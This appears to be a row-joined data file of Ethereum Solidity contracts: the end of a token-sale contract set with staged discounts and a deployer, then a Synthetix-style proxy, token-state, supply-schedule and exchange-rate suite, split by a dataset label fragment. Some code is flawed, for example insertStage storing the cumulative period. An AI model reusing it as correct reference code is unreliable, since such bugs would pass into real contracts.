if (!softcapAchieved && minted >= softcap) {
softcapAchieved = true;
SoftcapReached();
}
}
function finish() public onlyOwner {
if (!softcapAchieved) {
refundOn = true;
RefundsEnabled();
} else {
widthraw();
token.setSaleAgent(nextSaleAgent);
}
}
}
contract StagedTokenEvent is CommonTokenEvent {
using SafeMath for uint;
struct Stage {
uint period;
uint discount;
}
uint public constant STAGES_PERCENT_RATE = 100;
Stage[] public stages;
function stagesCount() public constant returns(uint) {
return stages.length;
}
function addStage(uint stagePeriod, uint discount) public onlyOwner {
require(stagePeriod > 0);
stages.push(Stage(stagePeriod, discount));
period = period.add(stagePeriod);
}
function removeStage(uint8 number) public onlyOwner {
require(number >= 0 && number < stages.length);
Stage storage stage = stages[number];
period = period.sub(stage.period);
delete stages[number];
for (uint i = number; i < stages.length - 1; i++) {
stages[i] = stages[i+1];
}
stages.length--;
}
function changeStage(uint8 number, uint stagePeriod, uint discount) public onlyOwner {
require(number >= 0 && number < stages.length);
Stage storage stage = stages[number];
period = period.sub(stage.period);
stage.period = stagePeriod;
stage.discount = discount;
period = period.add(stagePeriod);
}
function insertStage(uint8 numberAfter, uint stagePeriod, uint discount) public onlyOwner {
require(numberAfter < stages.length);
period = period.add(stagePeriod);
stages.length++;
for (uint i = stages.length - 2; i > numberAfter; i--) {
stages[i + 1] = stages[i];
}
stages[numberAfter + 1] = Stage(period, discount);
}
function clearStages() public onlyOwner {
for (uint i = 0; i < stages.length; i++) {
delete stages[i];
}
stages.length -= stages.length;
period = 0;
}
function getDiscount() public constant returns(uint) {
uint prevTimeLimit = start;
for (uint i = 0; i < stages.length; i++) {
Stage storage stage = stages[i];
prevTimeLimit += stage.period * 1 days;
if (now < prevTimeLimit)
return stage.discount;
}
revert();
}
}
contract TGE is StagedTokenEvent {
address public extraTokensWallet;
uint public extraTokensPercent;
bool public finished = false;
function setExtraTokensWallet(address newExtraTokensWallet) public onlyOwner {
extraTokensWallet = newExtraTokensWallet;
}
function setExtraTokensPercent(uint newExtraTokensPercent) public onlyOwner {
extraTokensPercent = newExtraTokensPercent;
}
function calculateTokens(uint investedInWei) public view returns(uint) {
return investedInWei.mul(price).mul(STAGES_PERCENT_RATE).div(STAGES_PERCENT_RATE.sub(getDiscount())).div(1 ether);
}
function finish() public onlyOwner {
require(!finished);
finished = true;
uint256 totalSupply = token.totalSupply();
uint allTokens = totalSupply.mul(PERCENT_RATE).div(PERCENT_RATE.sub(extraTokensPercent));
uint extraTokens = allTokens.mul(extraTokensPercent).div(PERCENT_RATE);
mintAndSendTokens(extraTokensWallet, extraTokens);
}
function createTokens() public payable canMint {
require(!finished);
wallet.transfer(msg.value);
calculateAndTransferTokensWithReferrer(msg.sender, msg.value);
}
}
contract Deployer is Ownable {
LightcashCryptoToken public token;
PreTGE public preTGE;
TGE public tge;
function deploy() public onlyOwner {
token = new LightcashCryptoToken();
preTGE = new PreTGE();
preTGE.setPrice(7143000000000000000000);
preTGE.setMinPurchaseLimit(100000000000000000);
preTGE.setSoftcap(7000000000000000000000000);
preTGE.setHardcap(52500000000000000000000000);
preTGE.setStart(1519995600);
preTGE.setPeriod(11);
preTGE.setWallet(0xDFDCAc0c9Eb45C63Bcff91220A48684882F1DAd0);
preTGE.setMaxReferrerTokens(10000000000000000000000);
preTGE.setReferrerPercent(10);
tge = new TGE();
tge.setPrice(5000000000000000000000);
tge.setMinPurchaseLimit(10000000000000000);
tge.setHardcap(126000000000000000000000000);
tge.setStart(1520859600);
tge.setWallet(0x3aC45b49A4D3CB35022fd8122Fd865cd1B47932f);
tge.setExtraTokensWallet(0xF0e830148F3d1C4656770DAa282Fda6FAAA0Fe0B);
tge.setExtraTokensPercent(15);
tge.addStage(7, 20);
tge.addStage(7, 15);
tge.addStage(7, 10);
tge.addStage(1000, 5);
tge.setMaxReferrerTokens(10000000000000000000000);
tge.setReferrerPercent(10);
preTGE.setToken(token);
tge.setToken(token);
preTGE.setNextSaleAgent(tge);
token.setSaleAgent(preTGE);
address newOnwer = 0xF51E0a3a17990D41C5f1Ff1d0D772b26E4D6B6d0;
token.transferOwnership(newOnwer);
preTGE.transferOwnership(newOnwer);
tge.transferOwnership(newOnwer);
}
} | 0 | 1,373 |
pragma solidity 0.4.25;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract SupplySchedule is Owned {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct ScheduleData {
uint totalSupply;
uint startPeriod;
uint endPeriod;
uint totalSupplyMinted;
}
uint public mintPeriodDuration = 1 weeks;
uint public lastMintEvent;
Synthetix public synthetix;
uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365;
uint public constant START_DATE = 1520294400;
uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1);
uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2);
uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3);
uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4);
uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5);
uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6);
uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7);
uint8 constant public INFLATION_SCHEDULES_LENGTH = 7;
ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules;
uint public minterReward = 200 * SafeDecimalMath.unit();
constructor(address _owner)
Owned(_owner)
public
{
schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit());
schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0);
schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0);
schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0);
schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0);
schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0);
schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0);
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
}
function mintableSupply()
public
view
returns (uint)
{
if (!isMintable()) {
return 0;
}
uint index = getCurrentSchedule();
uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index);
ScheduleData memory schedule = schedules[index];
uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration);
uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod);
uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod));
uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint);
return amountInPeriod.add(amountPreviousPeriod);
}
function _numWeeksRoundedDown(uint _timeDiff)
public
view
returns (uint)
{
return _timeDiff.div(mintPeriodDuration);
}
function isMintable()
public
view
returns (bool)
{
bool mintable = false;
if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod)
{
mintable = true;
}
return mintable;
}
function getCurrentSchedule()
public
view
returns (uint)
{
require(now <= schedules[6].endPeriod, "Mintable periods have ended");
for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) {
if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) {
return i;
}
}
}
function _remainingSupplyFromPreviousYear(uint currentSchedule)
internal
view
returns (uint)
{
if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) {
return 0;
}
uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted);
if (amountInPeriod < 0) {
return 0;
}
return amountInPeriod;
}
function updateMintValues()
external
onlySynthetix
returns (bool)
{
uint currentIndex = getCurrentSchedule();
uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex);
uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount);
if (lastPeriodAmount > 0) {
schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount);
}
schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount);
lastMintEvent = now;
emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now);
return true;
}
function setMinterReward(uint _amount)
external
onlyOwner
{
minterReward = _amount;
emit MinterRewardUpdated(_amount);
}
modifier onlySynthetix() {
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp);
event MinterRewardUpdated(uint newRewardAmount);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
uint newInverseRate = rates[currencyKey];
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(rateForCurrency(destinationCurrencyKey));
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
public
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier rateNotStale(bytes4 currencyKey) {
require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public importedXDRAmount;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = importedXDRAmount;
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
importedXDRAmount = newTotalDebtIssued;
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
